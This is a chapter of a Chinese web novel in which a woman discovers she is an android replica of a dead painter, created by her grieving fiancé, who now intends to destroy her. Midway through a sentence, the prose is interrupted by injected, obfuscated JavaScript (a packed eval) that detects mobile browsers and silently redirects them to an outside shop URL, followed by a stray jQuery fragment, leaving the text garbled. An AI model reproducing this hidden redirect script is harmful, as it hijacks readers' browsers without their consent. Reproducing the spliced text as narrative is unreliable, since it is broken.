16. 仿生

作品:《仿生囚徒

    缠绕的藤蔓布满了整张床,拨开藤蔓,是一个大型玻璃器皿。但它同时也是一副大棺材,因为一个死去多时的人正安详地躺在里面。


    浅枝瞪大了眼睛,只觉得脑中一瞬间气血上涌,差点栽倒在地。她踉跄地走到床边,几乎要趴在器皿上。器皿里的女子是真正的卫浅枝,和遗言视频中的一模一样,肤色苍白,虽然闭着眼睛,但神情却十分自然,像是睡过去一般。


    浅枝,卫浅枝。那一刻她忘记了自己是谁,日记中的故事渐渐和眼前的卫浅枝重合,她好像穿越时空,看见了卫浅枝短暂的一生。


    成长在幸福美满的富裕家庭,从小展现出惊人的绘画天赋,无论是学业还是交友,她的人生都一直顺遂。直到母亲死亡,父亲出国,她的身形瞬间高大起来,然后一个人支撑起了整个家。朋友陪伴,恩师培育,越来越多的鲜花荣誉加身,她终于摘得了天才青年画家的桂冠。而后许新寒站到了她身边,给她戴上了求婚戒指。她的朋友们都很高兴,他们的笑容定格在画中,身后是涛涛的祝岭江水,翻滚不息。


    然而这样的美好转瞬即逝,她在一瞬间突然被抽空了力气,身形也迅速消瘦下来。她疲惫地坐在画板前,她的手在颤抖,但她的眼睛炯炯有神,仿佛盛满了所有的期待和希望。


    早春台上一枝花,罗裙才思寄天涯。可怜镜中单只影,丹青未成终年华。那些美好的词藻才属于她,属于这个已经逝去的天才画家。


    卫浅枝已经预感到自己死后可能出现的一系列荒唐,她是真的了解许新寒,也是真的希望他能放下,可她也低估了许新寒的偏执。如果能无牵无挂地离开这世间,于她来说,也算是不幸中的万幸。


    “我,我是谁?”半晌浅枝才渐渐缓过神来,真正的卫浅枝躺在这里,那她是谁呢?


    “你是复刻浅枝的仿生人。你的相貌来自于她,思想来自于人工智能,即使有了仿生的人体结构,但你依旧算不上一个生命体。”


    嗡的一声,浅枝只觉得大脑一片空白。


    “你在开玩笑吧?”她干笑一声,伸手敲了敲自己的脑袋,“我在做梦吗?现在的梦怎么越来越逼真了?”然后她无措地东张西望,又喃喃自语,像是梦呓一般:“你在说什么呢?什么仿生人,我都没有听说过。”


    一模一样的房间,性情大变的许新寒,她甚至没有得知卫执出国真相时的震惊。她只是感到疑惑,真情实感地将这当成一场梦。


    冰冷无情的话碾压着她的希望,她抬起头呆愣地看向许新寒,然后猛地转身去拉门把手。“放我出去!这里是哪里?”浅枝用力掰扯着门把手,却怎么都拉不开门。


    “别费力气了,”许新寒冷冷道,“进了这间屋子,门就会自动锁上,没有钥匙是出不去的。”


    “那你呢?”浅枝抬头看他。


    “我当然有钥匙。”


    “那你放我走!”浅枝急得大喊,“我什么都没有看见,我什么都不知道!我求求你了,你放我离开!”


    “不可以,”许新寒一把抓住她的手腕,“是你自己选择跟来的,我已经告诉你真相了。只是你为什么要逃避呢?卫浅枝已经不存在了啊,她真的死了,你不是看到了她的遗体吗?”


    “你骗我,我不信!”浅枝大吼一声,忽然又平静下来,“对了,我们去找院长对峙,付宁安也知道的,是他们给我做的手术,他们怎么可能不知道我的身份?”


    许新寒没有松手:“你就是他创造的,你说呢?”


    浅枝仍不相信地摇头:“不,不对!你骗我!大家都认识我,陈凌认识我,叔叔阿姨承认我,我还有老师,还有父亲,这一切怎么可能是假的?你们都在骗我!”


    她越说越激动,直到一滴泪顺着脸颊流下,她抹了一把眼睛,像是找到什么佐证似的,又笑起来:“我会哭,我会笑,我有独立的思想,仿生人怎么可能会拥有这些?你看见了吧,我是活着的,我是人类。”


    “难道你没有见过卫管家?难道他的举止不是和你一样吗?”许新寒彻底击碎了她的幻想。


    她下意识向后退了两步,一边提防着许新寒一边回忆和卫都的相处:“我和卫管家一样?这怎么能一样呢?他明明——”


    “你没有意识到是因为你的自助权限比他高,你的自我意识也比他丰富,”许新寒冷漠地打断她的话,“不过也就仅此而已了,你们本质上是同类。”


    “怎么会这样,怎么会这样?”身份是假的,相貌是假的,就连思想和情感都是模拟出来的,这么久的日日夜夜,这么浓烈的喜怒哀乐,只换来一句“依旧算不上一个生命体”。她从未觉得脑中思绪如此凌乱,她的眼前是一团乱麻,怎么也看不清。


    不过很多东西都可以解释清楚了。难怪自己一直被要求服用营养剂,因为那本就是属于仿生人的、维持着虚假生理机能的食物。难怪自己从来没有过那些人类最平常的生理活动,她甚至都没有怀疑过。也难怪许新寒在看到全家福的时候情绪失控,他从来没想过卫浅枝有秘密瞒着他。


    许新寒看着她无助失措的样子,心里忽然生出一丝不忍:“其实我不希望你消失,你毕竟陪了我这么久。”


    浅枝脸色剧变:“消失?你要杀死我?”


    “‘杀’这个字只是针对生灵而言,你不是人类,只能算销毁吧。”许新寒语气淡淡,让她想到了那些被抛弃的玩偶、被重铸的钢铁和老旧市场里的那些摆件。


    不甘,愤怒,泪水不自觉滚落,她瞪着许新寒:“为什么要这么对我?”


    “对不起,我只是一时无法接受她的死亡。”


    “所以你用我暂时去弥补她的存在?”


    许新寒没有回答,算是默认。


    浅枝蹲下来,趴在床边仔细打量着卫浅枝的模样。她盯了她很久,忽然耸动着肩,从极力压抑着胸腔的笑,再到大笑出声:“哈哈哈,许新寒,我算是第一次认识你!哈哈哈!”


    许新寒看着她疯狂大笑的样子,不耐烦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050883|194805||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地皱起眉。


    浅枝微微直起身子,一边戏谑地看着他,一边哈哈大笑:“我笑你是一个懦夫呀,你比我还会自欺欺人!你们不愧是翁婿,连怀念爱人都要用同样的方式。”


    “你说什么?”


    “哦。我忘了,卫浅枝没有告诉你呢,”浅枝缓缓站起身,直视着许新寒的眼睛,越说越激动,“你的好岳父也是这么对你的岳母的,你们不愧是一家人呢。如果你当年就知道真相,恐怕就不会在国内费这么大力气了。你应该带着卫浅枝去国外,然后一家人幸福地生活在一起,以自欺欺人的方式永远活着!”


    “看来你是真的不想给自己留活路。”许新寒冷笑。


    “那你呢?”浅枝和他针锋相对,“一旦陈凌他们和社会大众知道了真相,你就会面对千夫所指,然后乖乖地滚去国外。”


    “他们不会知道的,”许新寒冷眼瞧着浅枝,对她步步紧逼,“只要你消失了,这件事就没人会知道。”


    浅枝已经将手搭在了门把手上,她悲伤地看向许新寒:“你知道吗?在没有跟着你来到这里之前,我正准备给你打电话,告诉你,我会选择你。但是现在,一切都不重要了。”


    许新寒瞬间愣住。他本以为浅枝已经放弃他了,他不能接受浅枝顶着爱人的脸说着放弃自己的话,所以他选择了摊牌。


    如果早点说就好了,他想。很可惜,就差一点,他们本可以不走到这个地步的。如果浅枝早点选择他,那他会心安理得地麻痹自己,说服自己将浅枝当成长久的代替者。可惜他自己戳破了这个美梦。


    浅枝趁着许新寒愣神一把拉开了房门跑了出去,然而没跑两步她又愣在原地。


    门外根本不是走廊,那是一间黑黢黢的密室。浅枝惊讶地瞪大了眼睛,她不敢相信地看着周遭的一切。


    “嘭”的一声响,身后的门被重重关上,昏黄的灯光亮起,她急忙回头,正对上神色复杂的许新寒。


    “这,这是怎么回事?”她尽力压抑着恐惧,但发颤的声音仍然暴露了她的紧张。不是她胆小,面对如此离奇的景象,凭谁都无法保持镇定。


    许新寒冷笑一声:“如果不布置一点机关,这里岂不成了人人都能逛的菜市场了?”


    被算计了,浅枝心想。她完全没预料到研究室不仅有密室,还有这偷梁换柱的机关,简直让人大开眼界。不过她只是惊慌了一会儿就恢复冷静,幸亏她留了一个后手,当许新寒说出不希望她消失时,她就已经报了警。


    “嘀”,许新寒看了一眼手机,脸色立即阴沉下来:“你报警了?”


    “你一直在监视我?”浅枝大惊。


    她忽然想起卫执,难怪他当时偷偷让乔来接自己,又在信里提醒她可能会被监视。只怪她当初对许新寒毫无提防,而且她还忽略了一件事。


    “我去机场那天,你是不是早就知道了?”浅枝颤抖着声音,她不敢去猜想,但又不得不做出这个推断。她已经没法再欺骗自己了。